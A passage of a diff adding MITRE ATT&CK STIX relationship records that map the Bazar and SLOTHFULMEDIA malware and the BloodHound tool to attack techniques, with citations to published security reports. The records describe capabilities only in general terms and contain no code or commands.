"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use HTTP and HTTPS over ports 80 and 443 in C2 communications.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--c2e67b83-b3c3-4db4-a18e-74f1cf005132", + "type": "relationship", + "modified": "2020-12-01T14:42:18.830Z", + "created": "2020-11-19T16:56:30.219Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can collect the IP address and NetBIOS name of an infected machine.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--9d4f2e79-594d-45b9-86d7-9dcc640ad9f1", + "type": "relationship", + "modified": "2020-12-01T14:40:21.451Z", + "created": "2020-11-19T16:59:04.114Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can query Windows\\CurrentVersion\\Uninstall for installed applications.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "relationship_type": "uses", + "id": "relationship--75a3cfad-a9e7-453f-88b8-787304575a33", + "type": "relationship", + "modified": "2020-12-01T13:53:46.555Z", + "created": "2020-11-19T17:01:57.215Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify the installed antivirus engine.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--2fdc9078-0737-4b2c-bb6c-f046b63c368b", + "type": "relationship", + "modified": "2020-11-19T17:01:57.288Z", + "created": "2020-11-19T17:01:57.288Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can query the Registry for installed applications.(Citation: Cybereason Bazar July 2020)", + "relationship_type": "uses", + "id": "relationship--794403a3-232e-4cc3-85e2-cc997825dfa8", + "type": "relationship", + "modified": "2020-11-19T17:03:37.989Z", + "created": "2020-11-19T17:03:37.989Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can launch cmd.exe to perform reconnaissance commands.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--26f6de28-984d-4f79-9806-c13fe9e1f42d", + "type": "relationship", + "modified": "2020-11-19T18:31:09.521Z", + "created": "2020-11-19T17:05:49.334Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can open a command line to execute commands.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--46c4ce23-1285-49e5-92a0-863251af60cd", + "type": "relationship", + "modified": "2020-11-19T18:02:58.667Z", + "created": "2020-11-19T17:07:09.086Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has a keylogging capability.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--39b38f3b-e878-4bce-967b-59035a528595", + "type": "relationship", + "modified": "2020-11-19T17:07:09.094Z", + "created": "2020-11-19T17:07:09.094Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--f8a9e39a-0038-437c-96ad-4408d028dd86", + "type": "relationship", + "modified": "2020-12-16T16:12:01.549Z", + "created": "2020-11-19T17:07:09.098Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has enumerated processes by ID, name, or privileges.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ", + "relationship_type": "uses", + "id": "relationship--cd68ff0c-88c9-4a71-82ff-f16da53ed8ed", + "type": "relationship", + "modified": "2020-11-19T18:02:58.692Z", + "created": "2020-11-19T17:07:09.096Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected the username from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--4a7a38c4-fb6d-420e-ac37-0c774c7b3a9f", + "type": "relationship", + "modified": "2020-12-16T16:12:01.510Z", + "created": "2020-11-19T17:07:09.100Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has sent system information to a C2 server via HTTP and HTTPS POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--0c6329d8-4f00-4b3b-aa82-3bc2e9f14766", + "type": "relationship", + "modified": "2020-11-19T17:07:09.448Z", + "created": "2020-11-19T17:07:09.448Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate files and directories.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--70fa48cc-4acf-4df3-b8a0-d862b2b67f33", + "type": "relationship", + "modified": "2020-12-16T16:12:01.522Z", + "created": "2020-11-19T17:07:09.450Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap registry.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--10fb2420-a482-4909-90c6-fd9f7e5c24a6", + "type": "relationship", + "modified": "2020-11-19T17:07:09.454Z", + "created": "2020-11-19T17:07:09.454Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has taken a screenshot of a victim's desktop, named it \"Filter3.jpg\", and stored it in the local directory.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--e7477fbb-361f-4502-99d4-75576d6d3ac7", + "type": "relationship", + "modified": "2020-12-16T16:12:01.517Z", + "created": "2020-11-19T17:07:09.457Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to enumerate services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--348ac89f-1a85-4ab2-887f-4e58dfc14853", + "type": "relationship", + "modified": "2020-11-19T18:02:58.371Z", + "created": "2020-11-19T18:02:58.371Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to start services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--606d0114-e9a5-49a6-a6b9-0f67da987969", + "type": "relationship", + "modified": "2020-11-19T18:02:58.402Z", + "created": "2020-11-19T18:02:58.402Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has hashed a string containing system information prior to exfiltration via POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--6d182b64-121f-43bf-b268-fe1e5874087d", + "type": "relationship", + "modified": "2020-12-16T16:12:01.578Z", + "created": "2020-11-19T18:02:58.408Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has used HTTP and HTTPS for C2 communications.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--23d2aa8e-0b95-4714-8b76-b1a0735ffdeb", + "type": "relationship", + "modified": "2020-11-19T18:02:58.410Z", + "created": "2020-11-19T18:02:58.410Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can inject into running processes on a compromised host.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--11f33a6b-f2f5-4c35-a72a-e2197340b425", + "type": "relationship", + "modified": "2020-11-19T18:02:58.454Z", + "created": "2020-11-19T18:02:58.454Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has uploaded files and information from victim machines.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--644d8961-2e4e-4aa1-b7d8-6759a64b25e8", + "type": "relationship", + "modified": "2020-11-19T18:02:58.491Z", + "created": "2020-11-19T18:02:58.491Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to stop processes and services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--922cc16d-2242-477b-89db-1ba3d5176e12", + "type": "relationship", + "modified": "2020-11-19T18:02:58.494Z", + "created": "2020-11-19T18:02:58.494Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate open ports on a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--9d201245-16f4-4142-94ff-25136107d0f6", + "type": "relationship", + "modified": "2020-12-16T16:12:01.591Z", + "created": "2020-11-19T18:02:58.508Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + } + ], + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "relationship_type": "uses", + "id": "relationship--99e04ca5-f096-4069-888d-12e8945a69ce", + "type": "relationship", + "modified": "2020-11-19T18:02:58.598Z", + "created": "2020-11-19T18:02:58.598Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "Zscaler Bazar September 2020", + "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020." + } + ], + "description": "[Bazar](https://attack.mitre.org/software/S0534) can use TLS in C2 communications.(Citation: Zscaler Bazar September 2020)", + "relationship_type": "uses", + "id": "relationship--1495ec37-a51f-4a50-8c01-427d7c4bb009", + "type": "relationship", + "modified": "2020-11-19T18:31:08.641Z", + "created": "2020-11-19T18:31:08.641Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound", + "source_name": "GitHub Bloodhound" + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.(Citation: GitHub Bloodhound)", + "relationship_type": "uses", + "id": "relationship--8d512a95-702d-4670-ab33-069552494102", + "type": "relationship", + "modified": "2020-11-24T20:07:19.348Z", + "created": "2020-11-20T13:41:44.619Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", + "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020." + } + ], + "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain groups and members.(Citation: CrowdStrike BloodHound April 2018)", + "relationship_type": "uses", + "id": "relationship--1280542b-4574-4567-ad3d-76692271699e", + "type": "relationship", + "modified": "2020-11-20T14:11:33.188Z", + "created": "2020-11-20T14:11:33.188Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", + "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "external_references": [ + { + "source_name": "CrowdStrike BloodHound April 2018", + "url": 